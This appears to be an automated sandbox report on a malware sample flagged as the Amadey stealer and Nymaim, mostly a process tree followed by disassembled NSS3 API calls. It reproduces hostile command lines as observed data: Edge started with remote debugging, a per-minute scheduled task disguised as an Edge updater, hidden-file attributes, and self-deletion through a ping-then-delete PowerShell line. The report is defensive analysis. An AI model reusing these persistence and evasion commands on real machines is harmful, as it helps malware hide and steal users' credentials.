File size:	2'742'376 bytes
MD5 hash:	BB7C48CDDDE076E7EB44022520F40F77
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:20:12
Start date:	02/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
Imagebase:	0x7ff628d30000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	05:20:12
Start date:	02/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
Imagebase:	0x7ff628d30000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	05:20:19
Start date:	02/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff7d11b0000
File size:	3'379'080 bytes
MD5 hash:	40AAE14A5C86EA857FA6E5FED689C48E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	05:20:20
Start date:	02/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2580,14279181130041663905,12471910790253145920,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2884 /prefetch:3
Imagebase:	0x7ff7d11b0000
File size:	3'379'080 bytes
MD5 hash:	40AAE14A5C86EA857FA6E5FED689C48E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:20:20
Start date:	02/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --do-not-de-elevate
Imagebase:	0x7ff7d11b0000
File size:	3'379'080 bytes
MD5 hash:	40AAE14A5C86EA857FA6E5FED689C48E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	05:20:20
Start date:	02/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2060,2184961868279135562,6214656886902436476,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2636 /prefetch:3
Imagebase:	0x7ff7d11b0000
File size:	3'379'080 bytes
MD5 hash:	40AAE14A5C86EA857FA6E5FED689C48E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	05:20:53
Start date:	02/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\KKEBKJJDGH.exe"
Imagebase:	0x6a0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	05:20:53
Start date:	02/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6a1690000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:20:53
Start date:	02/12/2024
Path:	C:\Users\user\Documents\KKEBKJJDGH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\KKEBKJJDGH.exe"
Imagebase:	0x840000
File size:	1'922'560 bytes
MD5 hash:	916BCEF7A2BBBFFB86BDCA71EBAD5F74
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.1847372452.0000000000841000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000003.1806619451.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	05:20:55
Start date:	02/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x5c0000
File size:	1'922'560 bytes
MD5 hash:	916BCEF7A2BBBFFB86BDCA71EBAD5F74
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.1866440800.00000000005C1000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000003.1825827448.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	05:21:00
Start date:	02/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x5c0000
File size:	1'922'560 bytes
MD5 hash:	916BCEF7A2BBBFFB86BDCA71EBAD5F74
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000003.1871208424.00000000049D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	05:21:05
Start date:	02/12/2024
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff7750c0000
File size:	468'120 bytes
MD5 hash:	B3676839B2EE96983F9ED735CD044159
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	05:21:05
Start date:	02/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6a1690000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	05:21:10
Start date:	02/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe"
Imagebase:	0x7ff6375f0000
File size:	2'342'400 bytes
MD5 hash:	4C64AEC6C5D6A5C50D80DECB119B3C78
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	05:21:11
Start date:	02/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H +S C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe
Imagebase:	0x7ff68ee60000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	05:21:11
Start date:	02/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe
Imagebase:	0x7ff68ee60000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	05:21:11
Start date:	02/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6a1690000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	05:21:11
Start date:	02/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /f /CREATE /TN "MicrosoftEdgeUpdateTaskMachineCoreSC" /TR "C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe" /SC MINUTE
Imagebase:	0x7ff7603d0000
File size:	235'008 bytes
MD5 hash:	796B784E98008854C27F4B18D287BA30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	05:21:11
Start date:	02/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6a1690000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	05:21:11
Start date:	02/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.0.0.1; del gU8ND0g.exe
Imagebase:	0x7ff758e00000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	05:21:11
Start date:	02/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6a1690000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	05:21:11
Start date:	02/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6a1690000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	05:21:11
Start date:	02/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.0.0.1
Imagebase:	0x7ff60aed0000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	05:21:13
Start date:	02/12/2024
Path:	C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe
Imagebase:	0x7ff666aa0000
File size:	2'342'400 bytes
MD5 hash:	4C64AEC6C5D6A5C50D80DECB119B3C78
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	05:21:13
Start date:	02/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff7b50a0000
File size:	4'849'904 bytes
MD5 hash:	5EA66FF5AE5612F921BC9DA23BAC95F7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	05:21:13
Start date:	02/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.1.0.1; del MicrosoftEdgeUpdateTaskMachineCoreSC.exe
Imagebase:	0x7ff758e00000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	05:21:13
Start date:	02/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6a1690000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	05:21:13
Start date:	02/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.1.0.1
Imagebase:	0x7ff60aed0000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	05:21:15
Start date:	02/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe"
Imagebase:	0xc70000
File size:	222'720 bytes
MD5 hash:	98DA391545B4823CA67E6CC3A927DAE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 29%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	05:21:15
Start date:	02/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6a1690000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	05:21:15
Start date:	02/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
Wow64 process (32bit):
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
Imagebase:
File size:	43'016 bytes
MD5 hash:	5D1D74198D75640E889F0A577BBF31FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	05:21:15
Start date:	02/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff628d30000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	05:21:15
Start date:	02/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 9972 -ip 9972
Imagebase:	0x1b0000
File size:	482'640 bytes
MD5 hash:	40A149513D721F096DDF50C04DA2F01F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	05:21:16
Start date:	02/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 9972 -s 1120
Imagebase:	0x1b0000
File size:	482'640 bytes
MD5 hash:	40A149513D721F096DDF50C04DA2F01F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	05:21:20
Start date:	02/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe"
Imagebase:	0x930000
File size:	222'720 bytes
MD5 hash:	98DA391545B4823CA67E6CC3A927DAE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 29%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	05:21:20
Start date:	02/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6a1690000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	05:21:20
Start date:	02/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
Wow64 process (32bit):
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
Imagebase:
File size:	43'016 bytes
MD5 hash:	5D1D74198D75640E889F0A577BBF31FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	05:21:20
Start date:	02/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 9928 -ip 9928
Imagebase:	0x1b0000
File size:	482'640 bytes
MD5 hash:	40A149513D721F096DDF50C04DA2F01F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	05:21:20
Start date:	02/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 9928 -s 1116
Imagebase:	0x1b0000
File size:	482'640 bytes
MD5 hash:	40A149513D721F096DDF50C04DA2F01F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	05:21:27
Start date:	02/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe"
Imagebase:	0x400000
File size:	1'963'520 bytes
MD5 hash:	870C92CF89253BAEAF80574AAAD15ADC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000033.00000003.2195840228.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 24%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	05:21:38
Start date:	02/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe"
Imagebase:	0xbf0000
File size:	4'415'488 bytes
MD5 hash:	818532DA27C6ED97768AB94607612F66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 39%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	05:21:45
Start date:	02/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe"
Imagebase:	0xdb0000
File size:	1'888'256 bytes
MD5 hash:	6F5A7A7F9A46FD0DA229545348913E5C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 39%, ReversingLabs
Has exited:	false

Show Windows behavior

Function 6BA85920 Relevance: 195.0, APIs: 67, Strings: 44, Instructions: 711memorystringfileCOMMON

Download Yara Rule

APIs

NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6BA87703,?,00000000,00000000), ref: 6BA85942

Part of subcall function 6BAA4210: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,141C084D,flags,?,00000000,?,6BA85947,flags,printPolicyFeedback,?,?,?,?,?,?,00000000), ref: 6BAA4220
Part of subcall function 6BAA4210: NSSUTIL_ArgGetParamValue.NSS3(?,6BA85947,?,?,?,?,?,?,00000000,?,00000000,?,6BA87703,?,00000000,00000000), ref: 6BAA422D
Part of subcall function 6BAA4210: PL_strncasecmp.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6BA87703), ref: 6BAA424B
Part of subcall function 6BAA4210: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6BA87703,?,00000000), ref: 6BAA4272

NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6BA87703), ref: 6BA85954
NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6BA8596A
SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6BA85984

Part of subcall function 6BAA0550: PR_GetEnvSecure.NSS3(NSS_ALLOW_WEAK_SIGNATURE_ALG,00000002,00000000,?,6BA85989), ref: 6BAA0571
Part of subcall function 6BAA0550: PR_GetEnvSecure.NSS3(NSS_HASH_ALG_SUPPORT,?,00000002,00000000,?,6BA85989), ref: 6BAA05B7
Part of subcall function 6BAA0550: PORT_Strdup_Util.NSS3(00000000,?,?,00000002,00000000,?,6BA85989), ref: 6BAA05C8
Part of subcall function 6BAA0550: strchr.VCRUNTIME140(00000000,0000003B,?,?,?,00000002,00000000,?,6BA85989), ref: 6BAA05EC
Part of subcall function 6BAA0550: strstr.VCRUNTIME140(00000001,?), ref: 6BAA0653
Part of subcall function 6BAA0550: free.MOZGLUE(?,?,?,?,00000002,00000000,?,6BA85989), ref: 6BAA0681

free.MOZGLUE(00000000), ref: 6BA859BA
NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6BA859D3
free.MOZGLUE(00000000), ref: 6BA859F5
NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6BA85A0A
free.MOZGLUE(00000000), ref: 6BA85A2E
NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6BA85A43
free.MOZGLUE(00000000), ref: 6BA85A67
NSSUTIL_ArgHasFlag.NSS3(flags,ssl-lock,00000000), ref: 6BA85ABB
NSS_OptionGet.NSS3(0000000D,00000000), ref: 6BA85ACD
NSS_OptionSet.NSS3(0000000D,00000000), ref: 6BA85AE2
NSSUTIL_ArgHasFlag.NSS3(flags,policy-lock,00000000), ref: 6BA85AFB
PR_SetEnv.NSS3(NSS_POLICY_LOADED=1), ref: 6BA85B1D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BA85B27
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(NSS-POLICY-INFO: LOADED-SUCCESSFULLY,00000025,00000001,00000000), ref: 6BA85B3A
NSS_GetAlgorithmPolicy.NSS3(0000002F,?), ref: 6BA85B91
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BA85BB8

Part of subcall function 6BA3AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6BA3AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BA85BEB
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BA85C22
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BA85C80
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BA85CAD
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BA85CDA
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BA85D07
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BA85D43
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BA85D79
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BA85DB5
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BA85DEB
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BA85E1E
PR_SetEnv.NSS3(NSS_POLICY_WARN=1), ref: 6BA85E74
PR_SetEnv.NSS3(NSS_POLICY_FAIL=1), ref: 6BA85E83
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BA85E8D
NSSUTIL_ArgHasFlag.NSS3(flags,internal,?), ref: 6BA85FCD
NSSUTIL_ArgHasFlag.NSS3(flags,FIPS,?), ref: 6BA85FDF
NSSUTIL_ArgHasFlag.NSS3(flags,critical,?), ref: 6BA85FF1
NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6BA85999

Part of subcall function 6BAA4120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BAA413D
Part of subcall function 6BAA4120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6BAA4162
Part of subcall function 6BAA4120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BAA416B
Part of subcall function 6BAA4120: PL_strncasecmp.NSS3(6BAA4232,?,00000001), ref: 6BAA4187
Part of subcall function 6BAA4120: NSSUTIL_ArgSkipParameter.NSS3(6BAA4232), ref: 6BAA41A0
Part of subcall function 6BAA4120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BAA41B4
Part of subcall function 6BAA4120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6BAA41CC
Part of subcall function 6BAA4120: NSSUTIL_ArgFetchValue.NSS3(6BAA4232,?), ref: 6BAA4203

Part of subcall function 6BA87B60: NSS_SetAlgorithmPolicy.NSS3(00000159,00000010,00000000), ref: 6BA87B92
Part of subcall function 6BA87B60: PL_strncasecmp.NSS3(00000000,all,00000003), ref: 6BA87C12
Part of subcall function 6BA87B60: PL_strncasecmp.NSS3(6BB834BF,00000000,00000003), ref: 6BA87C79

PR_SetEnv.NSS3(NSS_POLICY_FAIL=1), ref: 6BA85A85
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BA85A8F
PORT_NewArena_Util.NSS3(00000200,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BA85EAA
PORT_ArenaAlloc_Util.NSS3(00000000,00000078), ref: 6BA85EC1
PR_NewLock.NSS3 ref: 6BA85EFA
strlen.API-MS-WIN-CRT-STRING-L1-1-0(6BB90148), ref: 6BA85F1D
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6BA85F2A
memcpy.VCRUNTIME140(00000000,6BB90148,00000001), ref: 6BA85F3B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BA85F5A
PORT_ArenaAlloc_Util.NSS3(6BB90148,00000001), ref: 6BA85F67
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6BA85F78
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BA85F92
PORT_ArenaAlloc_Util.NSS3(6BB90148,00000001), ref: 6BA85F9F
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6BA85FB0
NSSUTIL_ArgGetParamValue.NSS3(slotParams,?), ref: 6BA86002
